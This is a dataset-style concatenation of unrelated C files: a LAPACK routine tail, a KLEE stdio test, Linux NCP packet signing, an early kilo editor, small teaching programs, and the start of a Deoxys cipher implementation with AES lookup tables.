0.; x[i__2].r = z__1.r, x[i__2].i = z__1.i; altsgn = -altsgn; /* L110: */ } *kase = 1; isave[1] = 5; return 0; /* ................ ENTRY (ISAVE( 1 ) = 5) */ /* X HAS BEEN OVERWRITTEN BY A*X. */ L120: temp = dzsum1_(n, &x[1], &c__1) / (doublereal) (*n * 3) * 2.; if (temp > *est) { zcopy_(n, &x[1], &c__1, &v[1], &c__1); *est = temp; } L130: *kase = 0; return 0; /* End of ZLACN2 */ } /* zlacn2_ */
the_stack_data/331475.c
// RUN: %llvmgcc %s -emit-llvm -O0 -c -o %t1.bc // RUN: rm -rf %t.klee-out // RUN: %klee --output-dir=%t.klee-out --libc=uclibc --posix-runtime %t1.bc --sym-files 0 0 --max-fail 1 > %t.log // RUN: grep -q "fread(): ok" %t.log // RUN: grep -q "fread(): fail" %t.log // RUN: grep -q "fclose(): ok" %t.log // RUN: grep -q "fclose(): fail" %t.log #include <stdio.h> #include <assert.h> int main(int argc, char** argv) { char buf[1024]; FILE* f = fopen("/etc/mtab", "r"); assert(f); int r = fread(buf, 1, 100, f); printf("fread(): %s\n", r ? "ok" : "fail"); r = fclose(f); printf("fclose(): %s\n", r ? "ok" : "fail"); return 0; }
the_stack_data/98558.c
/* * ncpsign_kernel.c * * Arne de Bruijn ([email protected]), 1997 * */ #ifdef CONFIG_NCPFS_PACKET_SIGNING #include <linux/string.h> #include <linux/ncp.h> #include <linux/bitops.h> #include "ncpsign_kernel.h" /* i386: 32-bit, little endian, handles mis-alignment */ #ifdef __i386__ #define GET_LE32(p) (*(int *)(p)) #define PUT_LE32(p,v) { *(int *)(p)=v; } #else /* from include/ncplib.h */ #define BVAL(buf,pos) (((__u8 *)(buf))[pos]) #define PVAL(buf,pos) ((unsigned)BVAL(buf,pos)) #define BSET(buf,pos,val) (BVAL(buf,pos) = (val)) static inline __u16 WVAL_LH(__u8 * buf, int pos) { return PVAL(buf, pos) | PVAL(buf, pos + 1) << 8; } static inline __u32 DVAL_LH(__u8 * buf, int pos) { return WVAL_LH(buf, pos) | WVAL_LH(buf, pos + 2) << 16; } static inline void WSET_LH(__u8 * buf, int pos, __u16 val) { BSET(buf, pos, val & 0xff); BSET(buf, pos + 1, val >> 8); } static inline void DSET_LH(__u8 * buf, int pos, __u32 val) { WSET_LH(buf, pos, val & 0xffff); WSET_LH(buf, pos + 2, val >> 16); } #define GET_LE32(p) DVAL_LH(p,0) #define PUT_LE32(p,v) DSET_LH(p,0,v) #endif static void nwsign(char *r_data1, char *r_data2, char *outdata) { int i; unsigned int w0,w1,w2,w3; static int rbit[4]={0, 2, 1, 3}; #ifdef __i386__ unsigned int *data2=(unsigned int *)r_data2; #else unsigned int data2[16]; for (i=0;i<16;i++) data2[i]=GET_LE32(r_data2+(i<<2)); #endif w0=GET_LE32(r_data1); w1=GET_LE32(r_data1+4); w2=GET_LE32(r_data1+8); w3=GET_LE32(r_data1+12); for (i=0;i<16;i+=4) { w0=rol32(w0 + ((w1 & w2) | ((~w1) & w3)) + data2[i+0],3); w3=rol32(w3 + ((w0 & w1) | ((~w0) & w2)) + data2[i+1],7); w2=rol32(w2 + ((w3 & w0) | ((~w3) & w1)) + data2[i+2],11); w1=rol32(w1 + ((w2 & w3) | ((~w2) & w0)) + data2[i+3],19); } for (i=0;i<4;i++) { w0=rol32(w0 + (((w2 | w3) & w1) | (w2 & w3)) + 0x5a827999 + data2[i+0],3); w3=rol32(w3 + (((w1 | w2) & w0) | (w1 & w2)) + 0x5a827999 + data2[i+4],5); w2=rol32(w2 + (((w0 | w1) & w3) | (w0 & w1)) + 0x5a827999 + data2[i+8],9); w1=rol32(w1 + (((w3 | w0) & w2) | (w3 & w0)) + 0x5a827999 + data2[i+12],13); } for (i=0;i<4;i++) { w0=rol32(w0 + ((w1 ^ w2) ^ w3) + 0x6ed9eba1 + data2[rbit[i]+0],3); w3=rol32(w3 + ((w0 ^ w1) ^ w2) + 0x6ed9eba1 + data2[rbit[i]+8],9); w2=rol32(w2 + ((w3 ^ w0) ^ w1) + 0x6ed9eba1 + data2[rbit[i]+4],11); w1=rol32(w1 + ((w2 ^ w3) ^ w0) + 0x6ed9eba1 + data2[rbit[i]+12],15); } PUT_LE32(outdata,(w0+GET_LE32(r_data1)) & 0xffffffff); PUT_LE32(outdata+4,(w1+GET_LE32(r_data1+4)) & 0xffffffff); PUT_LE32(outdata+8,(w2+GET_LE32(r_data1+8)) & 0xffffffff); PUT_LE32(outdata+12,(w3+GET_LE32(r_data1+12)) & 0xffffffff); } /* Make a signature for the current packet and add it at the end of the */ /* packet. */ void __sign_packet(struct ncp_server *server, const char *packet, size_t size, __u32 totalsize, void *sign_buff) { unsigned char data[64]; memcpy(data, server->sign_root, 8); *(__u32*)(data + 8) = totalsize; if (size < 52) { memcpy(data + 12, packet, size); memset(data + 12 + size, 0, 52 - size); } else { memcpy(data + 12, packet, 52); } nwsign(server->sign_last, data, server->sign_last); memcpy(sign_buff, server->sign_last, 8); } int sign_verify_reply(struct ncp_server *server, const char *packet, size_t size, __u32 totalsize, const void *sign_buff) { unsigned char data[64]; unsigned char hash[16]; memcpy(data, server->sign_root, 8); *(__u32*)(data + 8) = totalsize; if (size < 52) { memcpy(data + 12, packet, size); memset(data + 12 + size, 0, 52 - size); } else { memcpy(data + 12, packet, 52); } nwsign(server->sign_last, data, hash); return memcmp(sign_buff, hash, 8); } #endif /* CONFIG_NCPFS_PACKET_SIGNING */
the_stack_data/79396.c
/*** includes ***/ #include <ctype.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <termios.h> #include <unistd.h> /*** defines ***/ #define KILO_VERSION "0.0.1" #define CTRL_KEY(k) ((k) & 0x1f) /*** data ***/ struct editorConfig { int cx, cy; int screenrows; int screencols; struct termios orig_termios; }; struct editorConfig E; /*** terminal ***/ void die(const char *s) { write(STDOUT_FILENO, "\x1b[2J", 4); write(STDOUT_FILENO, "\x1b[H", 3); perror(s); exit(1); } void disableRawMode() { if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &E.orig_termios) == -1) die("tcsetattr"); } void enableRawMode() { if (tcgetattr(STDIN_FILENO, &E.orig_termios) == -1) die("tcgetattr"); atexit(disableRawMode); struct termios raw = E.orig_termios; raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON); raw.c_oflag &= ~(OPOST); raw.c_cflag |= (CS8); raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG); raw.c_cc[VMIN] = 0; raw.c_cc[VTIME] = 1; if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw) == -1) die("tcsetattr"); } char editorReadKey() { int nread; char c; while ((nread = read(STDIN_FILENO, &c, 1)) != 1) { if (nread == -1 && errno != EAGAIN) die("read"); } return c; } int getCursorPosition(int *rows, int *cols) { char buf[32]; unsigned int i = 0; if (write(STDOUT_FILENO, "\x1b[6n", 4) != 4) return -1; while (i < sizeof(buf) - 1) { if (read(STDIN_FILENO, &buf[i], 1) != 1) break; if (buf[i] == 'R') break; i++; } buf[i] = '\0'; if (buf[0] != '\x1b' || buf[1] != '[') return -1; if (sscanf(&buf[2], "%d;%d", rows, cols) != 2) return -1; return 0; } int getWindowSize(int *rows, int *cols) { struct winsize ws; if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == -1 || ws.ws_col == 0) { if (write(STDOUT_FILENO, "\x1b[999C\x1b[999B", 12) != 12) return -1; return getCursorPosition(rows, cols); } else { *cols = ws.ws_col; *rows = ws.ws_row; return 0; } } /*** append buffer ***/ struct abuf { char *b; int len; }; #define ABUF_INIT {NULL, 0} void abAppend(struct abuf *ab, const char *s, int len) { char *new = realloc(ab->b, ab->len + len); if (new == NULL) return; memcpy(&new[ab->len], s, len); ab->b = new; ab->len += len; } void abFree(struct abuf *ab) { free(ab->b); } /*** output ***/ void editorDrawRows(struct abuf *ab) { int y; for (y = 0; y < E.screenrows; y++) { if (y == E.screenrows / 3) { char welcome[80]; int welcomelen = snprintf(welcome, sizeof(welcome), "Kilo editor -- version %s", KILO_VERSION); if (welcomelen > E.screencols) welcomelen = E.screencols; int padding = (E.screencols - welcomelen) / 2; if (padding) { abAppend(ab, "~", 1); padding--; } while (padding--) abAppend(ab, " ", 1); abAppend(ab, welcome, welcomelen); } else { abAppend(ab, "~", 1); } abAppend(ab, "\x1b[K", 3); if (y < E.screenrows - 1) { abAppend(ab, "\r\n", 2); } } } void editorRefreshScreen() { struct abuf ab = ABUF_INIT; abAppend(&ab, "\x1b[?25l", 6); abAppend(&ab, "\x1b[H", 3); editorDrawRows(&ab); char buf[32]; snprintf(buf, sizeof(buf), "\x1b[%d;%dH", E.cy + 1, E.cx + 1); abAppend(&ab, buf, strlen(buf)); abAppend(&ab, "\x1b[?25h", 6); write(STDOUT_FILENO, ab.b, ab.len); abFree(&ab); } /*** input ***/ void editorMoveCursor(char key) { switch (key) { case 'a': E.cx--; break; case 'd': E.cx++; break; case 'w': E.cy--; break; case 's': E.cy++; break; } } void editorProcessKeypress() { char c = editorReadKey(); switch (c) { case CTRL_KEY('q'): write(STDOUT_FILENO, "\x1b[2J", 4); write(STDOUT_FILENO, "\x1b[H", 3); exit(0); break; case 'w': case 's': case 'a': case 'd': editorMoveCursor(c); break; } } /*** init ***/ void initEditor() { E.cx = 0; E.cy = 0; if (getWindowSize(&E.screenrows, &E.screencols) == -1) die("getWindowSize"); } int main() { enableRawMode(); initEditor(); while (1) { editorRefreshScreen(); editorProcessKeypress(); } return 0; }
the_stack_data/238400.c
/* * Copyright (c) 2017, 2018, Oracle and/or its affiliates. * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdlib.h> #include <stdio.h> int main() { printf("%ld\n", atol("123a")); printf("%ld\n", atol("a123")); printf("%ld\n", atol("a123a")); }
the_stack_data/40614.c
#include<stdio.h> int reverse(int number){ int power=1,digit,rev=0; while(number/power!=0){ digit=(number/power)%10; rev=(rev*10)+digit; power*=10; } return rev; } int main() { int num=24,rev,sqrev,sqnum,revsqnum; rev=reverse(num); sqrev=rev*rev; //printf("%d",sqrev); sqnum=num*num; revsqnum=reverse(sqnum); if (revsqnum==sqrev){ printf("ADAM"); } else{ printf("NOT A Adam num"); } }
the_stack_data/67152.c
#include <stdio.h> int main() { int a = 100; // check the boolean condition if (a < 20) { // if condition is true printf("a is less than 20\n"); } else { // if condition is false printf("a is not less than 20\n"); } printf("value of a is %d\n", a); return 0; }
the_stack_data/168892052.c
/* * Deoxys=-128-128 Reference C Implementation * * Copyright 2014: * Jeremy Jean <[email protected]> * Ivica Nikolic <[email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * 02110-1301, USA. * */ #include <stdint.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #define GETRCON(r) ( ((uint32_t)rcon[r]<<24) ^ ((uint32_t)rcon[r]<<16) ^ ((uint32_t)rcon[r]<<8) ^ ((uint32_t)rcon[r]<<0) ) #define GETU32(pt) (((uint32_t)(pt)[0] << 24) ^ ((uint32_t)(pt)[1] << 16) ^ ((uint32_t)(pt)[2] << 8) ^ ((uint32_t)(pt)[3])) #define PUTU32(ct, st) { (ct)[0] = (uint8_t)((st) >> 24); (ct)[1] = (uint8_t)((st) >> 16); (ct)[2] = (uint8_t)((st) >> 8); (ct)[3] = (uint8_t)(st); } static const uint32_t Te0[256] = { 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, }; static const uint32_t Te1[256] = { 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, }; static const uint32_t Te2[256] = { 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, }; static const uint32_t Te3[256] = { 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, 0xfafa15efU, 0x5959ebb2U, 